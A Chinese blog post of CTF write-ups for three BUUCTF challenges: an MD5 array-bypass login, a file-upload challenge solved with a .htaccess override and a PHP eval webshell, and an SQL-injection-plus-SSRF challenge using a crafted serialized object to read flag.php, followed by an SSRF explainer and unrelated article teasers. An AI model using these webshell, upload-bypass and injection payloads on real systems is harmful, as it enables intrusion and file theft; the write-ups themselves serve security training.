BUUCTF刷题记录

news2024/11/16 23:45:19

[BJDCTF2020]Easy MD51

进入题目页面,题目提示有一个链接,应该是题目源码

 进入环境,是一个查询框,无论输入什么都没有回显,查看源码也没什么用

 利用bp抓包查看有没有什么有用的东西

 发现响应的Hint那里有一个sql语句,密码password进行了MD5加密

接着查看下载的附件(源码),在leveldo4.php文件中提到要password=ffifdyop才会回显下一个页面,那么就输入ffifdyop提交查询

输入 ffifdyop,得到新页面

接着查看源码

 源码要求,用a,b进行传参,a<>b,且a和b的md5值要相等,那么就利用数组绕过md5

payload:?a[]=1&b[]=2

得到新页面

 这里要求用POST进行传参,参数param1<>param2,但是param1和param2的md5值要相等才会给出flag,接着利用数组绕过,得到flag

payload:param1[]=1&param2[]=2

 

[GXYCTF2019]BabyUpload1

 文件上传要求上传图片,一样的操作,上传图片抓包改后缀

结果php后缀被过滤了

 那就绕过

1、前端绕过,抓包修改后缀名,

2、文件内容绕过,用图片马,抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过,抓包后修改后缀为.PHp

6、空格绕过,抓包修改后缀,在后缀后面加上空格

7、点绕过,抓包修改后缀,在后缀后面加上点

8.什么删掉我的空格或者.,那我抓包修改为. .或者 . |

9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,

10、双拼绕过,抓包修改后缀,并在把后缀改成phphpp,这样后端去掉php,还剩下个ph和p组合

成为php

要重新上传php图片马,就需要上传.htaccess文件

<FilesMatch "1234.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将文件名为1234.jpg格式的文件以Php形式执行

 重新上传图片马

既然php无法上传,那就改马

GIF89a?
<script language='php'>@eval($_POST['abc']);</script>

 蚁剑连接,查看文件找到flag

htaccess 文件的作用

一、htaccess 文件是Apache服务器中的一个配置文件,用于实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

二、htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

三、管理员可以通过Apache的AllowOverride指令来设置。

四、.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
 

[网鼎杯 2018]Fakebook1

进入环境,按照要求注册用户并进入页面

 发现注入点no

 

no=1 order by 4  //查看列数,无报错

 

no=1 order by 5  //报错,有4列

 

 

no=-1 union/**/select 1,2,3,4   //过滤了(union select)用/**/代替空格 

 

 回显出现反序列化函数unserialize()

爆表名

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

 爆属性列

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

 爆字段,发现反序列化代码

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

 robots.txt查出源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

根据源码get($url)没有校验blog是否是http协议,可以通过file协议读取系统上的文件

注册时会序列化我们的信息,回显到页面时再反序列化。

修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

 data字段在第4位,所以放在第4位。
构造payload

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 看源码,点击blog的链接

 得到flag

 另一种解法:

由于sql注入没有过滤load_file,直接取得flag

no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

 

 查看源码,得到flag

 知识点

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

举例 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。
所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
 

一.SSRF伪协议漏洞注入

可能产生SSRF的函数:
1、file_get_contents:
2、sockopen():
3、curl_exec():
4.fopen():


二.SSRF中的伪协议

    file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
    dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
    gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
    http/s协议:探测内网主机存活

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1130215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【高效开发工具系列】Postman

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kuan 的首页,持续学…

人工智能:CNN(卷积神经网络)、RNN(循环神经网络)、DNN(深度神经网络)的知识梳理

卷积神经网络&#xff08;CNN&#xff09; 卷积神经网络&#xff08;CNN&#xff09;&#xff0c;也被称为ConvNets或Convolutional Neural Networks&#xff0c;是一种深度学习神经网络架构&#xff0c;主要用于处理和分析具有网格状结构的数据&#xff0c;特别是图像和视频数…

学习笔记二十三:Deployment入门到企业实战应用

Deployment入门到企业实战应用 Deployment控制器&#xff1a;概念、原理解读Deployment概述Deployment工作原理&#xff1a;如何管理rs和Pod&#xff1f;什么叫做更新节奏和更新逻辑呢 Deployment使用案例&#xff1a;创建一个web站点,2个副本deploy-demo详细解读 通过k8s实现滚…

[100天算法】-最长有效括号(day 38)

题目描述 给定一个只包含 ( 和 ) 的字符串&#xff0c;找出最长的包含有效括号的子串的长度。示例 1:输入: "(()" 输出: 2 解释: 最长有效括号子串为 "()" 示例 2:输入: ")()())" 输出: 4 解释: 最长有效括号子串为 "()()"来源&#…

Windows与Linux服务器互传文件

使用winscp实现图形化拖动的方式互传文件. 1.下载winscp软件并安装&#xff0c;官方地址&#xff1a; https://winscp.net/eng/index.php 2.打开软件&#xff1a; 文件协议选择scp&#xff0c;输入linux服务器的IP和端口号&#xff0c;然后输入你的用户名和密码就可以登陆了。…

在nodejs中实现实时通信的几种方式

在nodejs中实现实时通信的几种方式 在当今世界中&#xff0c;实时通信至关重要。无论是聊天应用程序还是实时体育更新&#xff0c;实时通信都是保持用户活跃度所必需的。Node.js 因其速度、可扩展性和可靠性而成为开发实时应用程序的流行工具。在本文中&#xff0c;我们将探讨…

【学习笔记】记录一个win 11 操作文件卡顿,Windows 资源管理器CPU占用飙升问题

【学习笔记】记录一个win 11 操作文件卡顿&#xff0c;Windows 资源管理器CPU占用飙升问题 前段时间忽然发现电脑操作文件都会特别的卡&#xff0c;例如复制粘贴文件&#xff0c;写入文件等操作&#xff0c;卡的怀疑人生&#xff0c;原本以为是电脑太久没重启&#xff0c;重启…

如何将本地 PDF 文件进行翻译

在日常工作和学习中&#xff0c;我们经常会遇到需要翻译 PDF 文件的情况。比如&#xff0c;我们需要将一份英文的技术文档翻译成中文&#xff0c;或者将一份中文的法律文件翻译成英文。 传统上&#xff0c;我们可以使用专业翻译软件或服务来翻译 PDF 文件。但是&#xff0c;这…

【产品经理】APP备案(阿里云)

工信部《关于开展移动互联网应用程序备案工作的通知》 工业和信息化部印发了《关于开展移动互联网应用程序备案工作的通知》&#xff0c;“在中华人民共和国境内从事互联网信息服务的App主办者&#xff0c;应当依照相关法律法规等规定履行备案手续&#xff0c;未履行备案手续的…

Linux shell编程学习笔记15:定义数组、获取数组元素值和长度

一、 Linux shell 脚本编程中的数组概述 数组是一种常见的数据结构。跟大多数编程语言一样&#xff0c;大多数Linux shell脚本支持数组&#xff0c;但对数组的支持程度各不相同&#xff0c;比如数组的维度&#xff0c;是支持一维数组还是多维数组&#xff1f;再如&#xff0c;…

MongoDB 的集群架构与设计

一、前言 MongoDB 有三种集群架构模式&#xff0c;分别为主从复制&#xff08;Master-Slaver&#xff09;、副本集&#xff08;Replica Set&#xff09;和分片&#xff08;Sharding&#xff09;模式。 Master-Slaver 是一种主从复制的模式&#xff0c;目前已经不推荐使用。Re…

threejs(3)-详解材质与纹理

一、Matcap(MeshMatcapMaterial)材质原理与应用 Matcap是一张含有光照信息的贴图&#xff0c;通常是直接截取材质球截图来使用。因此Matcap可以很好的模拟静止光源下的光照效果。 最直接的方式就是直接使用在View空间下的模型法向量的xy分量去采样Matcap。 另外还有一种常见…

STM32F103单片机内部RTC实时时钟驱动程序

一、STM32f103系列RTC功能 RTC实时时钟功能是嵌入式软件开发中比较常用的功能&#xff0c;一般MCU的RTC功能都带有年月日时间寄存器&#xff0c;比如STM32F4xx系列&#xff0c;RTC描述如下&#xff1a; 可见F4系列的RTC功能比较强大&#xff0c;设置好初始时间后&#xff0c;读…

Power BI 傻瓜入门 8. 制作数据模型

本章内容包含&#xff1a; 描述不同的数据建模技术配置属性以满足数据模型要求设计模型以满足性能要求 您可能认为&#xff0c;通过Power BI对数据进行转换后&#xff0c;您将一帆风顺。在某些情况下&#xff0c;这是正确的。当然&#xff0c;当您创建了一个包含许多表的详细…

OpenCV 笔记(3):基本图形的绘制

Part11. 绘制简单的图形 绘图功能是 OpenCV 最基础的功能&#xff0c;OpenCV 提供了基础的绘制函数&#xff0c;用于帮助我们绘制一些基本的图形。通过这些函数的组合&#xff0c;我们也可以做一些高级的应用。 11.1 绘制点和圆 OpenCV 的绘制函数相对简单&#xff0c;而且很多…

[Unity]将所有 TGA、TIFF、PSD 和 BMP(可自定义)纹理转换为 PNG,以减小项目大小,而不会在 Unity 中造成任何质量损失

如何使用 只需在“项目”窗口中创建一个名为“编辑器”的文件夹&#xff0c;然后在其中添加此脚本即可。然后&#xff0c;打开窗口-Convert Textures to PNG&#xff0c;配置参数并点击“Convert to PNG&#xff01; ”。 就我而言&#xff0c;它已将某些 3D 资源的总文件大小…

C语言汇总

汇总一&#xff08;linux环境&#xff09; /bin &#xff1a;bin是二进制&#xff08;binary&#xff09;英文缩写。 /boot&#xff1a;存放的都是系统启动时要用到的程序。 /dev&#xff1a;包含了所有Linux系统中使用的外部设备。 /etc&#xff1a;存放了系统管理时要用到的…

uniapp中 background-image 设置背景图片不展示问题

有问题 <view class"file-picker__box jsz" tap"jszxszUpload(jsz)"></view>.jsz {background-image: url(../../static/example_drive.png); }解决1 <view class"file-picker__box jsz" :style"{ background-image: url(…

Android APP 隐藏系统软键盘的方法

1.场景描述&#xff1a; 1) APP项目中经常会开发自定义软键盘&#xff1b;同时在使用EditText时&#xff0c;也会常常遇到自动弹出系统自带的软键盘&#xff0c;与自定义的软键盘产生冲突的情况&#xff1b;此时需要禁止EditText自动弹出系统软键盘&#xff0c;从而使自定义的…

汽车电子专有名词与相应技术

1.EEA &#xff08;Electronic & Electrical Architecture 电子电气架构&#xff09; EEA在宏观上概括为物理架构与逻辑架构的结合&#xff0c;微观上通过众多电子元器件的协同配合&#xff0c;或集成式或分布式的系统级电子电气架构&#xff0c;具体详见专栏 新能源汽车电…